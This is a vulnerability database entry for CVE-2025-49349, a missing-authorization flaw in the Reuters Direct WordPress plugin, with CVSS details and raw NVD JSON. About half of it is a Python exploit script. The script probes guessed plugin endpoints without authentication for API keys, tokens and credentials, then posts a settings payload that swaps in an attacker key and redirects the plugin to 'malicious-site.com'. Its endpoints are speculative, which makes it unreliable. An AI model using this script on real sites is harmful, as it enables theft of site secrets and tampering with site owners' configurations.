Security Vulnerability Report
中文
CVE-2025-49349 CVSS 5.3 MEDIUM

CVE-2025-49349

Published: 2025-12-31 15:15:52
Last Modified: 2026-04-23 15:31:31

Description

Missing Authorization vulnerability in Reuters News Agency Reuters Direct reuters-direct allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Reuters Direct: from n/a through <= 3.0.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Reuters Direct WordPress Plugin <= 3.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-49349 PoC - Reuters Direct Missing Authorization # This PoC demonstrates the access control vulnerability in Reuters Direct plugin import requests import sys def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-49349 Missing Authorization in Reuters Direct WordPress Plugin """ # Common Reuters Direct endpoints that may lack authorization potential_endpoints = [ "/wp-json/reuters-direct/v1/config", "/wp-json/reuters-direct/v1/settings", "/wp-json/reuters-direct/v1/credentials", "/wp-admin/admin-ajax.php?action=reuters_direct_get_config", "/wp-admin/admin-ajax.php?action=reuters_direct_save_settings" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-49349 - Reuters Direct Missing Authorization") print("=" * 60) vulnerable_endpoints = [] for endpoint in potential_endpoints: url = target_url.rstrip('/') + endpoint try: # Send request without authentication response = requests.get(url, timeout=10, verify=False) print(f"\n[Testing] {endpoint}") print(f" Status Code: {response.status_code}") # Check if endpoint returns sensitive data without auth if response.status_code == 200: # Check for sensitive information in response if any(keyword in response.text.lower() for keyword in ['api_key', 'secret', 'token', 'credential', 'config', 'password']): print(f" [!] VULNERABLE - Endpoint returns sensitive data without auth") vulnerable_endpoints.append({ 'endpoint': endpoint, 'status': response.status_code, 'data_preview': response.text[:200] }) else: print(f" [~] Endpoint accessible but no obvious sensitive data") vulnerable_endpoints.append({ 'endpoint': endpoint, 'status': response.status_code, 'data_preview': response.text[:200] }) elif response.status_code == 401 or response.status_code == 403: print(f" [+] Protected - Proper authorization in place") except requests.exceptions.RequestException as e: print(f" [Error] {str(e)}") print("\n" + "=" * 60) if vulnerable_endpoints: print(f"[!] Found {len(vulnerable_endpoints)} potentially vulnerable endpoints") return vulnerable_endpoints else: print("[+] No vulnerable endpoints found") return [] def exploit_configuration(target_url): """ Attempt to modify Reuters Direct configuration without authorization """ print("\n[*] Attempting to modify configuration...") # Try to modify settings without authentication modify_endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/reuters-direct/v1/settings/update" ] for endpoint in modify_endpoints: url = target_url.rstrip('/') + endpoint # Malicious configuration payload payload = { 'action': 'reuters_direct_save_settings', 'settings': { 'api_key': 'attacker_controlled_key', 'endpoint': 'https://malicious-site.com' } } try: response = requests.post(url, data=payload, timeout=10, verify=False) print(f"\n[Testing Modify] {endpoint}") print(f" Status Code: {response.status_code}") if response.status_code in [200, 201]: print(f" [!] Configuration modification may be possible!") print(f" Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f" [Error] {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-49349_poc.py <target_url>") print("Example: python cve-2025-49349_poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target) exploit_configuration(target) print("\n# Remediation:") print("# 1. Update Reuters Direct plugin to version 3.0.1 or later") print("# 2. Implement proper authorization checks using current_user_can()") print("# 3. Review all REST API endpoints for access control issues")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49349", "sourceIdentifier": "[email protected]", "published": "2025-12-31T15:15:51.920", "lastModified": "2026-04-23T15:31:30.803", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Reuters News Agency Reuters Direct reuters-direct allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Reuters Direct: from n/a through <= 3.0.0."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en la Agencia de Noticias Reuters Reuters Direct permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Reuters Direct: desde n/a hasta 3.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/reuters-direct/vulnerability/wordpress-reuters-direct-plugin-3-0-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}